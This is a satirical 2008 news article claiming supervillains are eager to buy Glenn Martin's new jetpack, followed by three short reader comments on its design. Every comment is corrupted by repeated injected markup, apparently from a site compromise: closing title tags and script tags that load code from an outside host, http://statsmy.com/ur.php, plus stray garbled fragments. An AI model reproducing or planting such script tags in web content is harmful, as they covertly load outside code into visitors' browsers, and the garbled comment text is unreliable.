Newly Developed Jetpack Draws Attention of Supervillains Everywhere
by Kris on 7/29/2008 (3)

The future of purse-snatching.
Oshkosh, WI - Glenn Martin has spent the last twenty-seven years of his life developing a jetpack reminiscent of those seen in so many movies and promised by so many sci-fi novels. The jetpack provides 600 pounds of thrust and is capable of carrying a person as high as 3,000 feet in the air. It will sell for roughly $100,000 and be available sometime next year.

Supervillains worldwide have been waiting for such an invention for decades. Despite what is portrayed in James Bond movies, jetpack technology has not been available to worldwide crime syndicates until now.

"This jetpack opens up worlds of possibilities," said supervillain Hank Scorpio. "Imagine my armed soldiers descending on suspecting targets in mass from above. They would be small enough to evade radar but still able to navigate over protective measures such as fences and moats."

Pricewise the jetpack is very affordable for supervillains. It is estimated it costs nearly that much to train a quality henchman these days and outfitting the henchman with advanced technology like laser guns can more than double that cost.

"When you consider that for the price of $100,000, you can triple the amount of crime one henchman can commit, buying a jetpack just makes sense," said Scorpio. "Jetpacks are cool, but this is a business decision more than anything."

Since the first showing of the jetpack earlier today, ten supervillains have enquired with Martin about purchasing his jetpacks for their use. Several have threatened him with death if he fails to fulfill their orders.

Martin said he had no idea how his invention might ultimately be used, but was quick to point out he was not opposed to supervillainy."0"0" style

I saw this thing on the news, and you wouldn't catch me flying in one. The oversize tanks on both shoulders ruin the inherent center of gravity like the other types of jetpack. This would be like walking a tightrope with a huge rolling and shifting pumpkin on both shoulders. No thanks.uildi </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

I only saw video of a guy from the paper testing it out and they basically walked him around and he never went more than a foot off the ground. The jetpack should be much more capable than that. Don't knock it until you try it... it could be fun.t </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

I understand that Mr Martin himself is soon going to take it up to 500ft. That could be interesting.m </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
